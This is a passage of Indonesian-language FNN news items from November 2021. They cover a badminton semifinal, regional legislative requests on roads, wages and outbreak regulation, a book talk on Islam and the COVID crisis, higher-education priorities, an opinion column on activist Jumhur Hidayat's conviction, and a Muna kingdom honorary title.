konsisten dalam menyerang. Ini pelajaran penting yang kami dapat dari pertandingan tadi," ungkap Ong. Sependapat dengan rekannya, Teo juga masih merasa permainannya kurang konsisten, sehingga pada gim kedua sempat kehilangan fokus dan akhirnya kalah pada pertandingan ini. "Kami bermain dengan gaya yang berbeda pada gim kedua. Kami masih perlu belajar satu sama lain hari ini. Konsistensi menjadi hal penting dalam meraih kemenangan. Kami belajar banyak hari ini," Teo menyebutkan. Kualitas permainan Ong/Teo hari ini juga diakui Minions yang kesulitan menembus pertahanan mereka. Dalam kesempatan yang berbeda, Kevin/Marcus merasakan perubahan pada penampilan Ong/Teo dibanding lima laga sebelumnya. Bahkan pada pertemuan keenam hari ini, Kevin/Marcus menilai perlawanan Ong/Teo menjadi yang terbaik dalam kesempatan pertemuan keduanya. Ong/Teo menampilkan pertahanan yang rapat meski sudah di hujani smes dan dropshot tajam dari Kevin atau Marcus. Namun ketahanan fisik dan mental menjadi kunci kemenangan Minions demi mengamankan tiket ke partai puncak. Kekalahan Ong/Teo membuat Malaysia gagal meloloskan dua wakilnya ke babak final. Sebelumnya, Aaron Chia/Soh Wooi Yik juga tersingkir setelah dikalahkan Takuro Hoki/Yugo Kobayashi dari Jepang dengan skor 18-21, 21-19, 17-21. (mth)

Anggota DPR Minta Pemerintah Perhatikan Jalan Jalur Poros Pantura

Jakarta, FNN - Anggota Komisi V DPR RI Hamka Baco Kady meminta pemerintah memperhatikan kondisi jalan di Jalur Poros Pantura sehingga harus dibangun dengan menggunakan material beton karena setiap hari dilalui kendaraan bermuatan berat. "Jalan Jalur Poros Pantura harus dibangun dengan menggunakan material beton," kata Hamka dalam keterangannya di Jakarta, Sabtu. Hal itu dikatakan Hamka saat mengikuti agenda kunjungan kerja Komisi V DPR RI ke Rembang, Jawa Tengah. Dia mengatakan jalur poros Pantura merupakan jalan yang banyak dilalui angkutan logistik dengan berat muatannya rata-rata melebihi 10 ton ke atas, sehingga terjadi kelebihan beban jalan atau "overload". Menurut dia, jalan poros Pantura juga menjadi pilihan alternatif bagi sebagian besar pengemudi angkutan logistik daripada melalui jalan tol karena dianggap biayanya lebih mahal. "Jadi pengemudi merasa lebih memilih poros pantura dibanding lewat jalan alternatif jalan tol, dengan demikian poros pantura ini menjadi jalan utama bagi angkutan logistik," ujarnya. Hamka juga menilai perlu dibuatkan penyangga di bahu jalan poros Pantura agar tidak bergeser akibat beban jalan dan juga penegakan hukum terhadap pelanggar yang membawa barang melebihi kapasitas. (mth)

DPRD Kota Palangka Raya Minta Pemerintah Segera Sampaikan UMK

Palangka Raya, FNN - Ketua Dewan Perwakilan Rakyat Daerah Kota Palangka Raya Sigit K Yunianto meminta pemerintah setempat segera menyampaikan usulan rekomendasi Upah Minimum Kota (UMK) ke Pemerintah Provinsi Kalimantan Tengah. "Kami harap penetapan nilai UMK segera dibahas pemerintah kota dan disampaikan ke pemprov. Ini sesuai arahan, bahwa bupati dan wali kota diminta mengajukan rekomendasi ke gubernur sebelum 26 November," kata Sigit di Palangka Raya, Sabtu. Sigit pun meminta penetapan usulan upah minimum di Ibu Kota Provinsi Kalimantan Tengah memperhatikan produktivitas dan pertumbuhan ekonomi dan komponen kebutuhan hidup layak. "Kemudian juga komponen-komponen lain yang terjadi saat ini. Tujuannya, besaran nilai upah minimum kota dapat memenuhi hak-hak dan meningkatkan kesejahteraan para pekerja," kata Sigit. Tahun sebelumnya upah minimum "Kota Cantik" Palangka Raya 2021 ditetapkan di angka Rp2,93 juta lebih. Nilai UMK itu tidak ada perubahan dari tahun 2020. UMK Kota Palangka Raya itu urutan dua terendah untuk wilayah 13 kabupaten dan satu kota di Provinsi Kalimantan Tengah. Upah minimum terendah di Kalteng pada tahun yang sama yakni di Kabupaten Kapuas senilai Rp2,90 juta lebih. Sementara urutan upah minimum tertinggi di Kalteng yakni Kabupaten Barito Utara sebesar Rp3,30 juta lebih. Disusul Kabupaten Barito Selatan senilai Rp3,24 juta lebih. Sementara itu, sebelumnya, Kepala Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans) Provinsi Kalimantan Syahri Tarigan meminta pemkab/pemkot mengajukan rekomendasi (UMK) 2022 kepada gubernur sebelum 26 November 2021. "Gubernur akan menetapkan UMK 2022 selambatnya pada 30 November 2021 mendatang," katanya. Saat ini Pemprov Kalteng telah menetapkan besaran Upah Minimum Provinsi (UMP) tahun 2022 mengalami kenaikan jika dibanding 2021, yakni menjadi sebesar Rp2,922 juta lebih. Syahril menuturkan, dalam penetapan UMP pemprov telah melaksanakan sidang dewan pengupahan dan dalam penerapannya dengan mempertimbangkan kondisi ekonomi dan ketenagakerjaan. Formula yang digunakan dalam penyesuaian UMP 2022 sesuai dengan yang diamanatkan dalam PP 36 tahun 2021 tentang pengupahan, yakni memperhitungkan rata-rata konsumsi per kapita, rata-rata jumlah anggota rumah tangga yang bekerja, serta pertumbuhan ekonomi maupun inflasi (mth)

Anis Matta: Islam Sampaikan Lima Pesan Bagaimana Hadapi Krisis

Jakarta, FNN - Ketua Umum Partai Gelombang Rakyat (Gelora) Indonesia Anis Matta menegaskan, Islam secara lugas telah menjelaskan bagaimana seharusnya manusia bersikap dalam menghadapi krisis berlarut seperti krisis saat ini akibat pandemi Covid-19. "Islam sebenarnya telah memberikan pesan kepada kita bagaimana menghadapi krisis. Dan gambaran tentang krisis tersebut ada di dalam Al Quran," kata Anis Matta saat bedah buku karyanya berjudul 'Pesan Islam Menghadapi Krisis' yang diterbitkan oleh Poestaka Rembuq pada Jumat (19/11/2021). Menurut Anis Matta, pesan tersebut dapat diringkas ke dalam lima pesan. Ternyata krisis bukan merupakan sesuatu yang gelap, yang tidak bisa dipelajari. "Kalaupun ada fakta-fakta atau bukti-bukti yang terbukti dalam pendekatan scientific, maka itu sebenarnya ketidakmengertian kita terhadap apa yang terjadi, bukan dihadapkan dengan teori konspirasi," katanya. Masifnya informasi teori konspirasi ini, kata Anis Matta, menyebabkan banyak disinformasi yang berseliweran, berasal dari individu, perusahaan, kelompok tertentu, bahkan negara. "Seperti sikap masyarakat menolak vaksin tertentu, itu efek dari teori konspirasi. Sehingga diperlukan tafsir pendekatan agama dan scientific, inilah pesan pertama. Semua bisa dipelajari dan ketika MUI memberikan fatwa, disinformasi tersebut perlahan hilang," katanya. Adapun pesan kedua adalah keimanan. Dimana public mood (suasana hati masyarakat) saat ini didominasi oleh rasa takut, sedih, emosi dan Frustrasi. Emosi negatif ini terus diulang dalam Islam agar ada proteksi keimanan. "Gunanya untuk proteksi mood kita dari semua tekanan masalah. Apakah pandemi ini rekayasa atau natural, dan mahluk (Covid-19) yang lahir, semua atas kehendak Allah SWT. ujarnya. Pesan ketiga adalah perilaku optimistis, mengubah krisis menjadi peluang, karena kegamangan akan menyebabkan kehilangan relevansinya. "Fokus pada peluang dan membalikkan tekanan untuk melakukan pencapaian luar biasa," katanya. Sedangkan pesan keempat adalah inspirasi sejarah. Yaitu muncul ide baru, narasi lama mati atau muncul pemimpin baru, sementara pemimpin lama menjadi tidak relevan. "Kita bisa mengambil inspirasi dari cerita Nabi Daud mengalahkan Jalut. Daud yang bertubuh kecil bisa mengalahkan Jalut yang besar," katanya. Terakhir, pesan kelima adalah soal geopolitik. Islam jauh-jauh hari sudah mengungkapkan mengenai garis pertemuan dengan Romawi, setelah mengalahkan Persia dan menjadi kekuatan global baru saat itu. "Pemahaman lemah orang terhadap krisis saat ini, akibat polarisasi Pilpres 2019 lalu. Tetapi bersamaan dengan pandemi, kesadaran beragama meningkat. Perspektif agama harus menjadi landasan untuk kita mengembangkan langkah selanjutnya," tegas Anis Matta. Ustaz Muhammad Jazir Asp, agamawan dan Takmir Masjid Jogokariyan, Yogyakarta mengatakan, Masjid Jogokariyan mampu memanfaatkan badai krisis saat ini menjadi peluang, sehingga memberikan nilai tambah secara ekonomi. "Kita bisa membuat masker, alkohol, hand sanitizer, disinfektan, baju hasmat, bumbu masak hotel, bahkan dapat limpahan zakat. Ini semua nggak kepikir, kalau nggak ada krisis. Krisis kita lewati dengan kegembiraan," kata Jazir. Pengamat ekonomi dari CELIOS Bhima Yudhistara mengatakan, apa yang disampaikan Anis Matta dalam bukunya adalah sebuah kebenaran dalam Islam, dimana setiap krisis ada peluang. "Sayang buku ini terbit, saat kasus sudah melandai. Saya juga melakukan riset, setiap krisis ada peluang dan sekarang banyak profesi baru. Makanya saya cukup optimis, dan kita tidak perlu pesimis, karena setiap krisis ada peluang," kata Bhima Yudhistira. Namun, Epidemiolog Universitas Airlangga M Atho'illah Isvandary mengingatkan, kemungkinkan Indonesia dilanda gelombang ketiga Covid-19, setelah dua bulan gelombang keempat Covid-19 melanda Eropa. "Gelombang Covid-19 di Indonesia selalu didahului gelombang Covid-19 di Eropa selalu didahului gelombang di Eropa. Prediksi kita dua bulan lagi akan ada gelombang ketiga di Indonesia," kata Atho'illah. (sah)

Kepala BNPB: Harus Ada Target Cegah Banjir di Kalteng Tak Berulang

Palangka Raya, FNN - Kepala Badan Nasional Penanggulangan Bencana (BNPB) Mayjen TNI Suharyanto meminta ada target yang ditetapkan sebagai upaya pencegahan agar banjir di berbagai daerah di wilayah Provinsi Kalimantan Tengah yang terjadi saat ini, tidak kembali terulang di masa mendatang. "Jangan sampai kejadian ini berulang, maka kita harus memiliki target," katanya dalam rakor penanganan banjir di Palangka Raya, Sabtu. Suharyanto mengatakan setelah banjir saat ini bisa diatasi sebagai jangka pendek, maka jangka menengah dan panjang targetnya harus ada. Pihaknya pun siap mengirim petugas guna melakukan pendampingan untuk menyusun rencana maupun kegiatan agar kejadian banjir seperti saat ini tidak terjadi lagi di masa mendatang. Disampaikannya, selain dipicu curah hujan tinggi, juga perlu dicermati faktor-faktor lainnya, misalnya kondisi daya dukung alam untuk menerima air yang mungkin sudah tidak sama seperti dulu. "Di tingkat daerah, agar dievaluasi kembali kebijakan-kebijakan yang berkaitan dengan lingkungan yang menjadi tugas dan tanggung jawab pemerintah daerah," pintanya. Sementara itu hal lain yang ia tekankan, agar pemerintah daerah dan instansi terkait lainnya memprioritaskan keselamatan warga terdampak di lapangan. "Setelah jiwa terselamatkan, kemudian hak-hak dasar harus terpenuhi, misalnya seperti makanan, selimut, serta lainnya," jelasnya. Kepala BNPB meminta agar semua pihak bersinergi dan dilibatkan agar penanggulangan banjir di berbagai daerah di Kalteng bisa optimal. Dalam rakor ini turut hadir Gubernur Sugianto Sabran, Wakil Gubernur Edy Pratowo, para bupati dan wali kota baik secara langsung maupun virtual, serta lainnya. (mth)

Kemendikbudristek Sebut Tiga Poin Penting Perguruan Tinggi

Jakarta, FNN - Pelaksana tugas Direktur Jenderal Pendidikan Tinggi, Riset, dan Teknologi (Dirjen Diktiristek) Kementerian Pendidikan, Kebudayaan, Riset dan Teknologi (Kemendikbudristek) Prof Nizam menyebut tiga poin penting pada perguruan tinggi. “Terdapat tiga hal penting pada perguruan tinggi yakni kualitas, relevansi dan atraktivitas. Dengan kualitas ini sangat penting, karena bila kita tidak menjaga kualitas maka kepercayaan masyarakat terhadap perguruan tinggi akan luntur dan akan ditinggalkan, perguruan tinggi agar berkualitas yaitu tata kelolanya harus profesional,” ujar Nizam dalam keterangan tertulisnya di Jakarta, Sabtu. Dia menambahkan terkait relevansi, jangan sampai dalam menyelenggarakan pendidikan tinggi jauh dari kebutuhan di masyarakat. Untuk itu, relevansi pendidikan tinggi sangat penting dijaga, agar perguruan tinggi tetap dibutuhkan oleh masyarakat. "Relevansi artinya kampus merdeka, bagaimana kita bawa profesional, pelaku dunia usaha ke dalam kelas, petani-petani modern kita bawa ke dalam kelas, kita bawa kelas menjadi problem best learning dan project best learning,” kata Nizam. Sedangkan terkait kampus atraktif, ia menekankan bahwa saat ini yang diharapkan mahasiswa adalah ruang diskusi, interaksi, membangun ruang dialektikal, berinteraksi antarmahasiswa dan dosen, menjadikan kampus yang dinamis. Sebelumnya, Nizam hadir dalam Rapat Kerja Nasional, Asosiasi Badan Penyelenggara Perguruan Tinggi Swasta Indonesia (ABPPTSI) di Universitas Serang Raya, Banten, Jumat (19/11). Nizam menyampaikan apresiasi kepada seluruh pengurus ABPPTSI yang selama ini telah bergandengan tangan dengan pemerintah dalam mencerdaskan kehidupan bangsa, menyiapkan anak-anak kita untuk membangun Indonesia Jaya yang dicita-citakan bersama. "Saya mengapresiasi seluruh pengurus ABPPTSI dalam menyelenggarakan acara ini, dan tantangan ke depan sangat berat, karena kita saat ini sebagai negara berpenghasilan menengah, itu sangat sulit untuk bisa melompat menjadi negara berpenghasilan tinggi, tanpa hadirnya sumber daya manusia yang unggul yaitu yang kreatif, inovatif, produktif, dan berakhlak mulia,” kata Nizam. Lebih lanjut Nizam menuturkan bahwa pentingnya perguruan tinggi melalui Tri Dharma Pendidikan Tinggi, perguruan tinggi akan menjadi tulang punggung pembangunan ekonomi, sosial, kemasyarakatan ke depan. Di tengah perubahan teknologi yang sangat pesat saat ini. Nizam jelaskan tentu sangat sulit bagi perguruan tinggi untuk bisa menyiapkan kompetensi anak-anak kita, dengan kompetensi yang kita dan dunia kerja pun belum tahu apa kompetensi lima tahun yang akan datang. Dirinya mencontohkan kalau kita merefleksi lima tahun lalu, kita tidak terbayang bisa bertemu dokter spesialis tanpa appoinment, tanpa harus pergi ke rumah sakit dan ke ICU, sekarang dengan aplikasi telemedicine kita bisa konsultasi langsung dengan dokter spesialis dan treatment obat yang kita butuhkan, semua ini terjadi karena perubahan teknologi yang sangat pesat. Dia juga menjelaskan melalui program Merdeka Belajar Kampus Merdeka, merupakan salah satu terobosan baru untuk masa depan lulusan perguruan tinggi. Ia juga mengatakan bahwa saat ini perguruan tinggi kita sedang menyiapkan SDM unggul, kreatif, produktif dan berakhlak mulia. (mth)

Kemendikbudristek Sebut Tiga Point Penting Perguruan Tinggi

Jakarta, FNN - Pelaksana tugas Direktur Jenderal Pendidikan Tinggi, Riset, dan Teknologi (Dirjen Diktiristek) Kementerian Pendidikan, Kebudayaan, Riset dan Teknologi (Kemendikbudristek) Prof Nizam menyebut tiga poin penting pada perguruan tinggi. “Terdapat tiga hal penting pada perguruan tinggi yakni kualitas, relevansi dan atraktivitas. Dengan kualitas ini sangat penting, karena bila kita tidak menjaga kualitas maka kepercayaan masyarakat terhadap perguruan tinggi akan luntur dan akan ditinggalkan, perguruan tinggi agar berkualitas yaitu tata kelolanya harus profesional,” ujar Nizam dalam keterangan tertulisnya di Jakarta, Sabtu, 20 November 2021. Dia menambahkan terkait relevansi, jangan sampai dalam menyelenggarakan pendidikan tinggi jauh dari kebutuhan di masyarakat. Untuk itu, relevansi pendidikan tinggi sangat penting dijaga, agar perguruan tinggi tetap dibutuhkan oleh masyarakat. "Relevansi artinya kampus merdeka, bagaimana kita bawa profesional, pelaku dunia usaha ke dalam kelas, petani-petani modern kita bawa ke dalam kelas, kita bawa kelas menjadi problem best learning dan project best learning,” kata Nizam, sebagaimana dikutip dari Antara. Sedangkan terkait kampus atraktif, ia menekankan bahwa saat ini yang diharapkan mahasiswa adalah ruang diskusi, interaksi, membangun ruang dialektikal, berinteraksi antarmahasiswa dan dosen, menjadikan kampus yang dinamis. Sebelumnya, Nizam hadir dalam Rapat Kerja Nasional, Asosiasi Badan Penyelenggara Perguruan Tinggi Swasta Indonesia (ABPPTSI) di Universitas Serang Raya, Banten, Jumat, 19 November 2021. Nizam menyampaikan apresiasi kepada seluruh pengurus ABPPTSI yang selama ini telah bergandengan tangan dengan pemerintah dalam mencerdaskan kehidupan bangsa, menyiapkan anak-anak kita untuk membangun Indonesia Jaya yang dicita-citakan bersama. "Saya mengapresiasi seluruh pengurus ABPPTSI dalam menyelenggarakan acara ini, dan tantangan ke depan sangat berat, karena kita saat ini sebagai negara berpenghasilan menengah, itu sangat sulit untuk bisa melompat menjadi negara berpenghasilan tinggi, tanpa hadirnya sumber daya manusia yang unggul yaitu yang kreatif, inovatif, produktif, dan berakhlak mulia,” kata Nizam. Lebih lanjut Nizam menuturkan bahwa pentingnya perguruan tinggi melalui Tri Dharma Pendidikan Tinggi, perguruan tinggi akan menjadi tulang punggung pembangunan ekonomi, sosial, kemasyarakatan ke depan. Di tengah perubahan teknologi yang sangat pesat saat ini. Nizam jelaskan tentu sangat sulit bagi perguruan tinggi untuk bisa menyiapkan kompetensi anak-anak kita, dengan kompetensi yang kita dan dunia kerja pun belum tahu apa kompetensi lima tahun yang akan datang. Dirinya mencontohkan kalau kita merefleksi lima tahun lalu, kita tidak terbayang bisa bertemu dokter spesialis tanpa appoinment, tanpa harus pergi ke rumah sakit dan ke ICU, sekarang dengan aplikasi telemedicine kita bisa konsultasi langsung dengan dokter spesialis dan treatment obat yang kita butuhkan, semua ini terjadi karena perubahan teknologi yang sangat pesat. Dia juga menjelaskan melalui program Merdeka Belajar Kampus Merdeka, merupakan salah satu terobosan baru untuk masa depan lulusan perguruan tinggi. Ia juga mengatakan bahwa saat ini perguruan tinggi kita sedang menyiapkan SDM unggul, kreatif, produktif dan berakhlak mulia. (MD).

DPRD Banjarmasin Usulkan Raperda Penanggulangan Wabah Penyakit Menular

Banjarmasin, FNN - DPRD Kota Banjarmasin, Kalimantan Selatan mengusulkan rancangan peraturan daerah (raperda) tentang penanggulangan wabah penyakit menular. "Berkaca pada pandemi COVID-19 ini, daerah kita perlu perda tentang penanggulangan wabah penyakit menular ini," ujar Wakil Ketua DPRD Kota Banjarmasin Tugiatno di Banjarmasin, Sabtu. Karenanya, kata dia, pihaknya di dewan mengusulkan raperda inisiatif tentang penanggulangan wabah penyakit menular tersebut untuk jadi program legislasi (Prolegda) tahun 2022. "Uji publik kan sudah kita lakukan terkait raperda ini," ungkapnya. Dia pun menyampaikan, penanggulangan wabah penyakit menular seperti COVID-19 yang melanda negeri ini hingga hampir 2 tahun lamanya hingga sekarang belum usai, harus ada dasar hukum untuk penanganannya secara kontinu oleh pemerintah kota. "Langkah-langkah seperti apa nanti, biar dipembahasannya akan berkembang," ucap Tugiatno. Kasubbag Produk Hukum Kabupaten/Kota Wilayah 2 Biro Hukum Setda Provinsi Kalsel Andik Mawardi menyatakan, Raperda tentang penanggulangan wabah penyakit menular ini sebuah jawaban tentang kondisi saat ini. "Sangat bagus sekali DPRD Kota Banjarmasin mengajukan raperda inisiatif ini," ujarnya usai mengikuti uji publik Raperda tersebut di gedung dewan kota, Kamis (18/11). Sebab, ungkap dia, undang-undang belum banyak juga mengatur terkait masalah tersebut, hingga pemerintah daerah juga kesusahan bagaimana arah penanganannya. "Sehingga dengan ada Perda ini nantinya bisa betul-betul nyata ranah pemerintah daerah untuk menanganinya," ujar dia. "Hari ini ada wabah COVID-19, kita tidak tahu nantinya apa lagi, moga jangan sampai ada, tapi kalau ada, perangkat hukumnya sudah ada," ucap Andik. Pihaknya pun di Biro Hukum Pemprov Kalsel menyarankan ada rencana konvergensi penanggulangan wabah ketika terjadi. "Hukum memang harus demikian, ke depan memandangnya, jangan sampai terjadi hukum tidak bisa menjangkaunya," ujar dia. "Kita itu sering tergopoh-gopoh, sudah kejadian baru mencari apa dasar hukumnya, jadi bagus disiapkan dulu produk hukum daerah, kita apresiasi atas inisiatif DPRD Kota Banjarmasin ini," pungkas Andik. (mth)

Pernah Ditahan Dua Kali Jumhur Hidayat Tidak Kapok

Oleh: Tjahja Gunawan *) SAYA telah berteman dengan Jumhur Hidayat sejak 1989. Tepatnya sejak dia diadili di Pengadilan Negeri Bandung terkait aksinya bersama mahasiswa ITB lainnya yang memprotes kedatangan Mendagri waktu itu Rudini ke kampus "Gajah Duduk" itu. Akibatnya, dia bersama aktivis mahasiswa ITB lainnya dipecat dari kampus. Tidak hanya itu, Denci panggilan Jumhur Hidayat bersama Fadjroel Rachman, Arnold Purba, Enin Supriyanto, Ammarsjah dan Bambang, juga divonis hukuman tiga tahun penjara. Setiap kali sidang, saya sebagai wartawan baru waktu itu, selalu hadir di PN Bandung di Jl RE Martadinata. Sehingga pertemanan saya dengan mereka terjalin sampai sekarang terutama dengan Jumhur dan Syahganda Nainggolan, aktivis mahasiswa ITB lainnya. Hari Kamis lalu 11 November 2021 lalu, majelis hakim Pengadilan Negeri Jakarta Selatan memvonis aktivis buruh Jumhur Hidayat dihukum penjara 10 bulan. Menurut hakim, Jumhur terbukti melakukan tindak pidana menyiarkan berita tidak lengkap yang berpotensi menerbitkan keonaran. Namun demikian, majelis hakim yang dipimpin oleh Hakim Ketua Hapsoro Widodo menetapkan Jumhur Hidayat tidak perlu ditahan karena dia masih dalam perawatan dokter. Jumhur Hidayat yang juga petinggi Koalisi Aksi Menyelamatkan Indonesia (KAMI) sekaligus wakil ketua umum Konfederasi Serikat Pekerja Seluruh Indonesia (KSPSI), terkena kasus pidana setelah ia mengkritik UU Omnibus Law Cipta Kerja di akun Twitter pribadinya @jumhurhidayat pada 7 Oktober 2020. Jumhur, lewat akun Twitter pribadinya, mengunggah cuitan: “UU ini memang utk PRIMITIVE INVESTORS dari RRC dan PENGUSAHA RAKUS. Kalau INVESTOR BERADAB ya seperti di bawah ini: 35 Investor Asing Nyatakan Keresahannya terhadap Pengesahan UU Cipta Kerja. Klik untuk baca: kmp.im/AGA6m2”. Akibat cuitan itu, Jumhur ditangkap dan ditahan oleh kepolisian sejak 13 Oktober 2020. Kekejian dalam Penangkapan Jumhur Seminggu sebelum vonis, saya berkesempatan ngobrol dengan Jumhur Hidayat disela acara deklarasi Perhimpunan Menemukan Kembali Indonesia, pada 28 Oktober 2021. "Gun, isi pledoi gue di PN Jaksel mau diterbitkan LP3ES. Tolong kasih komentar ya. Ntar gue kirim rangkumannya, " kata Jumhur membuka pembicaraan. Saya sampaikan ke Jumhur, gaya Anda menyampaikan pledoi di PN Jaksel maupun dulu saat di PN Bandung ketika menjalani sidang Kasus 5 Agustus 1989, tidak berubah. Jumhur Hidayat seorang orator yang mampu menyampaikan isi pikiran dan gagasannya dengan penuh semangat dan heroik. Sebagai aktivis dan tokoh pergerakan, dia sangat paham dengan berbagai persoalan rakyat. Pilihan kalimat serta diksi yang disampaikan Jumhur senantiasa menggugah pihak lain yang menyimak narasi yang disampaikannya. Di awal penyampaian pledoinya di PN Jaksel, Jumhur Hidayat mengatakan: "Tibalah saatnya pada hari ini, saya selaku terdakwa menyampaikan pembelaan atau Pledoi yang berisi uraian sebab-sebab yang mendorong saya melakukan kegiatan-kegiatan memperjuangkan nasib orang-orang yang kurang beruntung terutama mereka yang kurang beruntung karena adanya sistem dan struktur kekuasaan di mana tempat mereka hidup, membuat mereka tidak bisa banyak berdaya apalagi berdaulat. Ya pledoi ini juga akan menguraikan fakta-fakta penderitaan rakyat yang sedang terjadi saat ini bahkan kepastian kelanjutan penderitaan rakyat di masa depan bila bangsa ini tidak segera menginsyafi bahwa ancaman itu semakin nyata dan terus berjalan sehingga akan menjadikan rakyat ---sebagaimana diingatkan oleh Bung Karno--- hanya sekedar menjadi kuli sementara bangsa Indonesia menjadi bangsa kuli di antara bangsa-bangsa". Dalam pembelaannya itu, Jumhur juga menceritakan peristiwa penangkapan yang menimpa dirinya. "Tuan-Tuan Hakim Yang Mulia, pada tanggal 13 Oktober 2020 sekira jam 06.30 Wib, ketika saya sedang lelap tidur sehabis beribadah sholat subuh, digedor-gedorlah kamar tidur pribadi saya dan istri. Saat saya membuka mata mendengar ribut-ribut, saya menyaksikan istri saya dorong-dorongan pintu dengan orang-orang yang akan menangkap saya yang ternyata dari Badan Reserse Kriminal POLRI. Bahkan ada ucapan 'buka pintunya atau kita dobrak'. Jumhur melanjutkan, "ketika istri saya bilang tunggu karena akan menggunakan hijabnya pun mereka masih tidak mengijinkan. Menyadari saya telah bangun maka istri saya bergegas ke kamar mandi untuk menggunakan hijabnya dan akhirnya bersama-sama saya menyaksikan tindakan puluhan orang itu menggeledah sentimeter demi sentimeter kamar tidur saya dan juga seisi rumah. Walhasil, semua handphone, laptop, ipad milik saya dan anak istri saya termasuk CPU komputer dan juga 5 buah USB disita oleh mereka. Walaupun akhirnya beberapa barang itu dikembalikan karena tidak bisa dijadikan barang bukti namun sampai sekarang masih ada yang belum dikembalikan dan itu sangat penting bagi saya yaitu 5 buah USB berisi dokumen-dokumen usaha saya termasuk karya-karya tulis yang belum diterbitkan". Kepada para hakim di PN Jaksel, Jumhur mengemukakan bahwa istrinya begitu bersemangat mempertahan agar tidak terjadi keributan di kamar tiada lain karena dia ingin melindungi saya yang baru saja menjalani operasi pengambilan kantung empedu dengan pembiusan total selama 5 jam untuk membedah perut saya dengan tiga sobekan. "Ya perut saya masih diperban pada tiga sobekan yang masih berdarah itu karena belum sampai 36 jam saya keluar dari rumah sakit. Saya menyampaikan terimakasih dan rasa bangga yang tiada berhingga kepada istri saya Ali Febyani Prabandari atas keberaniannya menghadapi segerombolan orang pengecut berjumlah sekitar 30 orang hanya untuk menangkap orang seperti saya yang sama sekali tidak memiliki rekam jejak kekerasan," kata Jumhur. Praktek KKN Dulu-Sekarang Mantan Ketua Mahkamah Konstitusi (MK) yang saat menjabat menghapus pasal-pasal karet di KUHP yaitu Prof. Jimly Asshidiqie dengan nada geram menulis lewat akun Twitter-nya, @JimlyAs, (16/10/20) "Ditahan saja tidak pantas apalagi diborgol untuk kepentingan disiarluaskan. Sebagai pengayom warga, polisi harusnya lebih bijaksana". Pledoi Jumhur Hidayat setebal 34 halaman itu dibacakan pada 30 September 2021 di PN Jaksel. Pada kesempatan itu, Jumhur Hidayat juga membeberkan praktek KKN yang terjadi di era Orde Baru dan di era reformasi. Pada era Orde Baru, tindakan KKN umumnya terjadi di seputaran kekuasaan eksekutif yang dekat dengan Presiden dan kroninya saja, sementara penerima manfaat dari KKN itu pun masih sangat terbatas. Jumhur menyebut cara KKN seperti itu dengan istilah otoritarian-birokratik-rente. Sementara itu, tindakan KKN yang terjadi sekarang, dilakukan dengan lebih banyak lagi pelaku dan juga tidak terbatas pada sekelompok orang yang berada di sekitar kekuasaan Presiden tetapi juga pada jenjang-jenjang kekuasaan yang lain dan tidak hanya pada cabang kekuasaan eksekutif seperti kementerian, gubernur, bupati dan walikota bersama partnernya dari legislatif DPR dan DPRD melainkan juga yudikatif serta para pengusaha baik yang terpisah atau pun yang menjadi kaki-kaki tangan kekuatan oligarki. Karena itulah, Jumhur menyebut sistem KKN yang terjadi sekarang sebagai konspiratif-birokratik-rente, atau bahasa mudahnya adalah korupsi berjama’ah atau beramai-ramai. Adapun mengenai dana jarahan yang digondol adalah berpuluh-puluh kali lipat dibanding dengan jarahan di era Orba. "Bukankah ini suatu kemunduran atau pengkhianatan terhadap amanat reformasi yang dilahirkan dengan kucuran darah dan air mata?, " ungkap Jumhur Hidayat dalam nada heroik. Menurut data KPK, total korupsi berdasarkan profesi/jabatan selama 2004-2020 mencapai 1207 orang. Dari jumlah tersebut, tertinggi ada di pihak swasta 308 orang (26%), Anggota DPR dan DPRD 274 orang (23%), Eselon I/II/III 230 orang (19%), Lainnya 157 orang (13%), Walikota/Bupati 122 orang (10%), Kepala Lembaga/Kementerian 28 orang (2.3%), Hakim 22 orang (1.8%), Gubernur 21 orang (1.7%) diikuti Jaksa, Pengacara, Komisioner, Korporasi, Duta Besar dan Polisi. Bukankah ini berarti korupsi menjadi sangat semarak? Siapa pun yang punya akal sehat akan mengatakan bahwa untuk lebih tenang melakukan korupsi, maka diubahlah UU KPK agar tidak lagi bertaji dan kemudian agar lebih tenang lagi maka dipecatlah 57 orang terhormat dan berintegritas pegawai KPK dari berbagai suku, agama dan ras yang telah menangkap koruptor-koruptor kakap yaitu melalui Tes Wawasan Kebangsaan yang abal-abal itu. Penguasa seolah tidak lagi memperdulikan gerakan tuntutan dari masyarakat sipil termasuk tuntutan gerakan mahasiswa yang merasa nalar atau akal sehatnya telah terganggu akibat pemecatan pegawai KPK tersebut. Saat ini kita masih menunggu, apakah perjuangan masyarakat sipil melawan kekuasaan yang bertindak sewenang-wenang dalam banyak hal akan berhasil atau masih harus menunggu bertahun-tahun lagi sampai terorkestranya kemarahan nasional secara serentak. Meskipun fisiknya dipenjara, tapi karakter seperti Jumhur Hidayat akan tetap setia kepada akal pikiran dan demokrasi. Orang seperti Jumhur, akan selalu berteriak menyampaikan berbagai praktek ketidakadilan dan penderitaan yang dialami rakyat luas. Karena itu saya yakin Jumhur Hidayat tidak akan merasa kapok untuk terus memperjuangkan keadilan di negeri ini meskipun dia sudah ditahan dua kali. Jumhur Hidayat sudah mengingatkan tentang kemungkinan terjadinya amuk massa yang bersifat nasional dan berlangsung serentak. Akankah para elite kekuasaan baik di lembaga eksekutif, legislatif dan yudikatif diam saja ?. Jangan sampai penjarahan dan kerusuhan sosial seperti tahun 1998 terjadi lagi.**** *) Penulis wartawan senior FNN.

Sangia Ambona Wawoangi, Gelar Kerajaan Muna untuk Ketua DPD RI

MUNA, FNN - Ketua DPD RI, AA LaNyalla Mahmud Mattalitti, mendapatkan gelar kehormatan adat dari Kerajaan Muna, Sabtu (20/11/2021). Gelar yang diberikan adalah Sangia Ambona Wawoangi yang bermakna orang terhormat dan dihormati yang merupakan putra terbaik dari Indonesia timur. Gelar dibacakan oleh Sekretaris Lembaga Adat Muna, Abdul Azis Fuadi. Sedangkan penganugerahan piagam adat dilakukan oleh Gempar, Bonto Balano (Perdana Menteri) Kerajaan Muna, mewakili Paduka Yang Mulia La Ode Sirad Imbo, Raja Muna ke-27. Ketua Lembaga Adat Muna yang diwakili oleh La Ode Ruslan Ibu, mengatakan Ketua DPD RI merupakan putra terbaik bangsa yang berasal dari Sulawesi dan Indonesia timur. "Kami menghormati beliau dengan memberikan gelar tertinggi dan menjadi bagian dari Kerajan Muna," katanya di Komplek Rumah Adat Muna. La Ode Ruslan Ibu menjelaskan, ada tiga kata dan makna dari gelar Sangia Ambona Wawoangi. "Sangia adalah pemimpin yang dihormati, disegani, arif, bijaksana dan disegani. 